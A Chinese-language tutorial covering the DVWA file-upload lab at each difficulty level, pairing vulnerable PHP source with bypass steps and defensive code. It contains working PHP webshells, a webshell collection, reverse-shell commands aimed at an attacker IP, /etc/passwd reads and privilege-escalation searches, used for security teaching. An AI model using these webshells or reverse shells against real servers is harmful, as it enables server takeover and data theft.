目录
漏洞简介 什么是文件上传漏洞(File Upload Vulnerability)? 文件上传漏洞是指Web应用程序没有对上传的文件进行严格验证,允许攻击者上传恶意文件并执行。
危害:
上传WebShell获取服务器控制权
上传病毒木马
覆盖重要文件
造成拒绝服务(上传大文件)
钓鱼攻击(上传假页面)
XSS攻击(上传HTML文件)
攻击流程:
上传恶意PHP文件(WebShell)
访问上传的文件
执行任意系统命令
完全控制服务器
常见场景:
Low 难度 攻击目标 无任何验证的文件上传,直接获取WebShell。
后端代码分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 <?php if ( isset ( $_POST [ 'Upload' ] ) ) { $target_path = __DIR__ . DIRECTORY_SEPARATOR . 'uploads/' ; $target_path .= basename ( $_FILES [ 'uploaded' ][ 'name' ] ); if ( !move_uploaded_file ( $_FILES [ 'uploaded' ][ 'tmp_name' ], $target_path ) ) { echo '<pre>Your image was not uploaded.</pre>' ; } else { echo "<pre>{$target_path} succesfully uploaded!</pre>" ; } } ?>
漏洞分析 核心问题:
无文件类型检查 - 允许上传.php文件
无文件内容检查 - 不验证文件实际内容
无MIME类型检查 - 不检查Content-Type
使用原始文件名 - 不重命名文件
暴露文件路径 - 显示上传路径
攻击流程:
1 2 3 4 5 1. 创建shell.php(WebShell)2. 上传shell.php3. 访问 uploads/shell.php4. 执行系统命令5. 完全控制服务器
攻击步骤 步骤1:创建简单WebShell 最简单的WebShell(shell.php):
1 2 3 4 5 <?php system ($_GET ['cmd' ]);?>
使用方法:
1 2 3 http:// dvwa.local/dvwa/ hackable/uploads/ shell.php?cmd=whoami http:// dvwa.local/dvwa/ hackable/uploads/ shell.php?cmd=ls -la http:// dvwa.local/dvwa/ hackable/uploads/ shell.php?cmd=cat /etc/ passwd
步骤2:创建功能完整的WebShell 一句话木马:
1 <?php @eval ($_POST ['cmd' ]); ?>
使用中国菜刀、蚁剑等工具连接
完整WebShell(webshell.php):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 <?php ?> <!DOCTYPE html> <html> <head> <title>WebShell</title> </head> <body> <h1>WebShell</h1> <h2>System Information</h2> <pre> OS: <?php echo PHP_OS; ?> PHP Version: <?php echo phpversion (); ?> Server: <?php echo $_SERVER ['SERVER_SOFTWARE' ]; ?> Document Root: <?php echo $_SERVER ['DOCUMENT_ROOT' ]; ?> Current User: <?php echo get_current_user (); ?> </pre> <h2>Command Execution</h2> <form method="POST" > <input type="text" name="cmd" placeholder="Enter command" style="width:500px;" > <button type="submit" >Execute</button> </form> <?php if (isset ($_POST ['cmd' ])) { echo '<h3>Output:</h3>' ; echo '<pre>' ; system ($_POST ['cmd' ]); echo '</pre>' ; } ?> <h2>File Manager</h2> <form method="POST" > <input type="text" name="path" value="<?php echo getcwd(); ?>" style="width:500px;" > <button type="submit" name="list" >List</button> </form> <?php if (isset ($_POST ['list' ])) { $path = $_POST ['path' ]; echo '<pre>' ; $files = scandir ($path ); foreach ($files as $file ) { echo $file . "\n" ; } echo '</pre>' ; } ?> </body> </html>
步骤3:上传WebShell
在DVWA的File Upload页面
选择shell.php文件
点击Upload
记录显示的文件路径
步骤4:访问WebShell 1 http:// dvwa.local/dvwa/ hackable/uploads/ shell.php?cmd=whoami
步骤5:执行系统命令 查看当前目录:
列出文件:
读取敏感文件:
1 2 ?cmd =cat /etc/passwd ?cmd =cat ../../config/config.inc.php
反弹Shell:
1 2 3 4 ?cmd=bash -i >& /dev/ tcp/攻击者IP/ 4444 0 >&1 nc -lvp 4444
步骤6:权限提升 查找SUID文件:
1 ?cmd=find / -perm -4000 2 >/dev/ null
查看sudo权限:
Medium 难度 攻击目标 添加了客户端和MIME类型检查,但可以绕过。
后端代码分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 <?php if ( isset ( $_POST [ 'Upload' ] ) ) { $target_path = __DIR__ . DIRECTORY_SEPARATOR . 'uploads/' ; $target_path .= basename ( $_FILES [ 'uploaded' ][ 'name' ] ); $uploaded_name = $_FILES [ 'uploaded' ][ 'name' ]; $uploaded_type = $_FILES [ 'uploaded' ][ 'type' ]; $uploaded_size = $_FILES [ 'uploaded' ][ 'size' ]; if ( ( $uploaded_size < 100000 ) && ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) ) { if ( !move_uploaded_file ( $_FILES [ 'uploaded' ][ 'tmp_name' ], $target_path ) ) { echo '<pre>Your image was not uploaded.</pre>' ; } else { echo "<pre>{$target_path} succesfully uploaded!</pre>" ; } } else { echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>' ; } } ?>
新增防护
文件大小检查 - 限制100KB
MIME类型检查 - 只允许image/jpeg和image/png
仍存在的漏洞 核心问题:
MIME类型(Content-Type)是客户端提供的,完全不可信!
1 2 3 4 5 6 7 8 9 POST /upload.php HTTP/1.1 Content-Type : multipart/form-data; boundary=----WebKitFormBoundary------WebKitFormBoundary Content-Disposition: form-data; name="uploaded" ; filename="shell.php" Content-Type: image/jpeg ← 这里可以随意修改! <?php system ($_GET ['cmd' ]); ?> ------WebKitFormBoundary--
绕过方法 方法1:使用Burp Suite修改Content-Type 步骤:
准备shell.php文件
开启Burp Suite代理
在DVWA上传shell.php
Burp拦截请求
修改Content-Type
原始请求:
1 2 3 4 5 6 7 8 9 10 POST /dvwa/vulnerabilities/upload/ HTTP/1.1 ... Content-Type : multipart/form-data; boundary=----WebKitFormBoundary------WebKitFormBoundary Content-Disposition: form-data; name="uploaded" ; filename="shell.php" Content-Type: application/x-php <?php system ($_GET ['cmd' ]); ?> ------WebKitFormBoundary--
修改后:
1 2 3 4 5 6 7 8 9 10 POST /dvwa/vulnerabilities/upload/ HTTP/1.1 ... Content-Type : multipart/form-data; boundary=----WebKitFormBoundary------WebKitFormBoundary Content-Disposition: form-data; name="uploaded" ; filename="shell.php" Content-Type: image/jpeg ← 修改这里 <?php system ($_GET ['cmd' ]); ?> ------WebKitFormBoundary--
Forward请求
上传成功!
访问shell.php执行命令
方法2:使用文件头欺骗(图片马) 创建包含PHP代码的图片文件:
1 2 3 4 5 6 7 8 cat image.jpg shell.php > shell.jpgexiftool -Comment='<?php system($_GET["cmd"]); ?>' image.jpg echo -e '\xFF\xD8\xFF\xE0<?php system($_GET["cmd"]); ?>' > shell.jpg
然后:
上传shell.jpg
结合文件包含漏洞访问
High 难度 攻击目标 检查文件扩展名和图片尺寸,更难绕过。
后端代码分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 <?php if ( isset ( $_POST [ 'Upload' ] ) ) { $target_path = __DIR__ . DIRECTORY_SEPARATOR . 'uploads/' ; $target_path .= basename ( $_FILES [ 'uploaded' ][ 'name' ] ); $uploaded_name = $_FILES [ 'uploaded' ][ 'name' ]; $uploaded_size = $_FILES [ 'uploaded' ][ 'size' ]; $uploaded_ext = strtolower ( pathinfo ( $uploaded_name , PATHINFO_EXTENSION ) ); if ( ( $uploaded_ext == "jpg" || $uploaded_ext == "jpeg" ) && ( $uploaded_size < 100000 ) && getimagesize ( $_FILES [ 'uploaded' ][ 'tmp_name' ] ) ) { if ( !move_uploaded_file ( $_FILES [ 'uploaded' ][ 'tmp_name' ], $target_path ) ) { echo '<pre>Your image was not uploaded.</pre>' ; } else { echo "<pre>{$target_path} succesfully uploaded!</pre>" ; } } else { echo '<pre>Your image was not uploaded. We can only accept JPEG images.</pre>' ; } } ?>
新增防护
扩展名白名单 - 只允许.jpg和.jpeg
文件大小限制 - 100KB
getimagesize()验证 - 检查文件是否为真实图片
仍存在的漏洞 虽然防护很强,但仍有绕过方法:
关键点:
getimagesize()只验证文件是否为图片
不阻止图片中包含PHP代码
可以创建图片马(图片+PHP代码)
绕过方法 方法1:创建图片马 步骤1:准备合法图片
1 2 wget http://example.com/image.jpg
步骤2:在图片中嵌入PHP代码
1 2 3 4 5 6 7 8 9 cat image.jpg > shell.jpgecho '<?php system($_GET["cmd"]); ?>' >> shell.jpgexiftool -Comment='<?php system($_GET["cmd"]); ?>' image.jpg -o shell.jpg
步骤3:上传图片马
上传shell.jpg
getimagesize()验证:通过(因为前面是合法图片)
扩展名检查:通过(.jpg)
上传成功!
步骤4:利用文件包含漏洞执行
1 2 3 4 http:// dvwa.local/dvwa/ vulnerabilities/fi/ ?page=../../ hackable/uploads/ shell.jpg&cmd=whoami
方法2:上传.htaccess 如果可以上传任意文件名(只检查扩展名),尝试上传.htaccess:
.htaccess内容:
1 2 3 4 5 6 7 AddType application/x-httpd-php .jpg<FilesMatch "\.jpg$" > SetHandler application/x-httpd-php</FilesMatch>
攻击流程:
上传.htaccess(需要绕过扩展名检查)
上传包含PHP代码的shell.jpg
访问shell.jpg,Apache会将其作为PHP执行
方法3:双扩展名 某些配置下:
1 2 shell .php.jpg shell .jpg.php
Impossible 难度 攻击目标 完善的验证机制,真正安全。
后端代码分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 <?php if ( isset ( $_POST [ 'Upload' ] ) ) { checkToken ( $_REQUEST [ 'user_token' ], $_SESSION [ 'session_token' ], 'index.php' ); $target_path = __DIR__ . DIRECTORY_SEPARATOR . 'uploads/' ; $target_file = md5 ( uniqid () . time () ) . '.' . strtolower ( pathinfo ( $_FILES [ 'uploaded' ][ 'name' ], PATHINFO_EXTENSION ) ); $target_path .= $target_file ; $uploaded_name = $_FILES [ 'uploaded' ][ 'name' ]; $uploaded_ext = strtolower ( pathinfo ( $uploaded_name , PATHINFO_EXTENSION ) ); $uploaded_size = $_FILES [ 'uploaded' ][ 'size' ]; $uploaded_tmp = $_FILES [ 'uploaded' ][ 'tmp_name' ]; if ( ( $uploaded_ext == 'jpg' || $uploaded_ext == 'jpeg' || $uploaded_ext == 'png' ) && ( $uploaded_size < 100000 ) && getimagesize ( $uploaded_tmp ) ) { if ( $uploaded_ext == 'jpg' || $uploaded_ext == 'jpeg' ) { $img = imagecreatefromjpeg ( $uploaded_tmp ); } elseif ( $uploaded_ext == 'png' ) { $img = imagecreatefrompng ( $uploaded_tmp ); } imagejpeg ( $img , $target_path , 100 ); echo "<pre>{$target_file} succesfully uploaded!</pre>" ; } else { echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>' ; } } generateSessionToken ();?>
完善的防护机制 多层防御:
CSRF Token - 防止跨站请求伪造
文件重命名 - 使用MD5+时间戳,无法预测
扩展名白名单 - 只允许jpg, jpeg, png
文件大小限制 - 100KB
getimagesize()验证 - 确保是真实图片
图片重新渲染 - 使用GD库清除恶意代码
图片重新渲染原理:
1 2 3 4 5 6 7 8 9 10 11 12 13 输入:shell.jpg(包含PHP代码) imagecreatefromjpeg ():1 . 读取图片的像素数据2 . 忽略其他所有内容(包括PHP代码)3 . 创建新的图像资源(只有像素数据)imagejpeg ():1 . 将图像资源保存为JPEG文件2 . 只写入图片数据3 . PHP代码被完全清除输出:纯净的图片(无恶意代码)
为什么无法攻破? 所有攻击都失败:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 尝试1 :上传shell.php 扩展名检查 → 失败(不是jpg/jpeg/png) 尝试2 :上传shell.jpg(图片马) getimagesize () → 通过(是有效图片)imagecreatefromjpeg () → 重新渲染,移除PHP代码最终文件 → 纯净的图片,无法执行PHP 尝试3 :修改Content-Type 无效(服务器检查实际文件内容,不依赖Content-Type) 尝试4 :双扩展名shell.php .jpg 扩展名检查 → pathinfo ()只取最后的扩展名(.jpg) 重新渲染 → PHP代码被清除
关键防御点:
图片重新渲染是关键 - 即使上传成功,也无法执行PHP
文件重命名 - 无法预测文件路径
白名单机制 - 只允许已知安全的扩展名
多层验证 - 任何一层失败都会拒绝
防御建议 代码层面 1. 文件类型验证(多层验证) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 $ext = strtolower (pathinfo ($_FILES ['file' ]['name' ], PATHINFO_EXTENSION));$allowed = ['jpg' , 'jpeg' , 'png' , 'gif' ];if (!in_array ($ext , $allowed )) { die ('Invalid file type' ); } $finfo = finfo_open (FILEINFO_MIME_TYPE);$mime = finfo_file ($finfo , $_FILES ['file' ]['tmp_name' ]);$allowed_mimes = ['image/jpeg' , 'image/png' , 'image/gif' ];if (!in_array ($mime , $allowed_mimes )) { die ('Invalid MIME type' ); } if (!getimagesize ($_FILES ['file' ]['tmp_name' ])) { die ('Not a valid image' ); }
2. 文件重命名 1 2 3 $new_name = md5 (uniqid (rand (), true )) . '.' . $ext ;$target = 'uploads/' . $new_name ;
3. 文件大小限制 1 2 3 4 5 $max_size = 2 * 1024 * 1024 ; if ($_FILES ['file' ]['size' ] > $max_size ) { die ('File too large' ); }
4. 存储在Web根目录外 1 2 3 4 5 6 7 8 9 10 11 $upload_dir = '/var/data/uploads/' ; <?php $file = $_GET ['file' ];header ('Content-Type: application/octet-stream' );readfile ($upload_dir . $file );?>
5. 图片重新渲染(推荐) 1 2 3 4 5 6 7 8 if ($ext == 'jpg' || $ext == 'jpeg' ) { $img = imagecreatefromjpeg ($_FILES ['file' ]['tmp_name' ]); imagejpeg ($img , $target , 90 ); } elseif ($ext == 'png' ) { $img = imagecreatefrompng ($_FILES ['file' ]['tmp_name' ]); imagepng ($img , $target , 9 ); }
6. 设置正确的权限 1 2 3 4 5 6 7 8 9 chmod 755 uploads/chmod 644 uploaded_file.jpgphp_flag engine off
系统层面 1. 禁止上传目录执行PHP .htaccess:
1 2 3 4 5 6 7 8 9 10 11 12 php_flag engine off <FilesMatch "\.php$" > Order Deny ,Allow Deny from all </FilesMatch> RemoveHandler .phpRemoveType .php
Nginx配置:
1 2 3 4 5 6 location /uploads/ { location ~ \.php$ { deny all; } }
2. 使用专门的上传目录
3. 扫描病毒 1 2 3 4 5 exec ("clamscan " . escapeshellarg ($file ), $output , $return );if ($return != 0 ) { die ('File contains malware' ); }
框架层面 Laravel示例 1 2 3 4 5 6 7 $request ->validate ([ 'avatar' => 'required|image|mimes:jpeg,png,jpg,gif|max:2048' , ]); $path = $request ->file ('avatar' )->store ('avatars' , 'public' );
总结对比
特性
Low
Medium
High
Impossible
扩展名检查
❌
❌
✅ 白名单
✅ 白名单
MIME检查
❌
✅(客户端)
❌
❌
文件内容检查
❌
❌
✅ getimagesize
✅ getimagesize
文件重命名
❌
❌
❌
✅ MD5
图片重渲染
❌
❌
❌
✅ GD库
CSRF防护
❌
❌
❌
✅ Token
攻击难度
极易
简单
中等
极难
可上传Shell
✅
✅
✅(图片马)
❌
常用WebShell集合 最简单 1 <?php system ($_GET ['cmd' ]); ?>
一句话木马 1 2 3 <?php @eval ($_POST ['cmd' ]); ?> <?php @assert ($_POST ['cmd' ]); ?> <?php $a =$_POST ['cmd' ];$a ($_POST ['arg' ]); ?>
带密码的Shell 1 2 3 4 5 <?php if (md5 ($_POST ['pass' ]) == '5f4dcc3b5aa765d61d8327deb882cf99' ) { system ($_POST ['cmd' ]); } ?>
反弹Shell 1 2 3 4 <?php $sock = fsockopen ("攻击者IP" , 4444 );$proc = proc_open ("/bin/sh" , [0 =>$sock , 1 =>$sock , 2 =>$sock ], $pipes );?>
实战建议 学习路径:
Low难度 - 理解文件上传漏洞基础
Medium难度 - 学习绕过MIME检查
High难度 - 掌握图片马技术
Impossible难度 - 理解完善的防御
攻击技巧:
结合文件包含漏洞利用图片马
尝试上传.htaccess
测试双扩展名
使用Burp Suite修改请求
工具推荐:
Burp Suite - 修改上传请求
中国菜刀 - WebShell管理
蚁剑 - 现代WebShell管理
Weevely - 隐蔽WebShell
道德准则:
只在授权环境测试
不上传恶意文件到真实网站
学习是为了防御,保护系统安全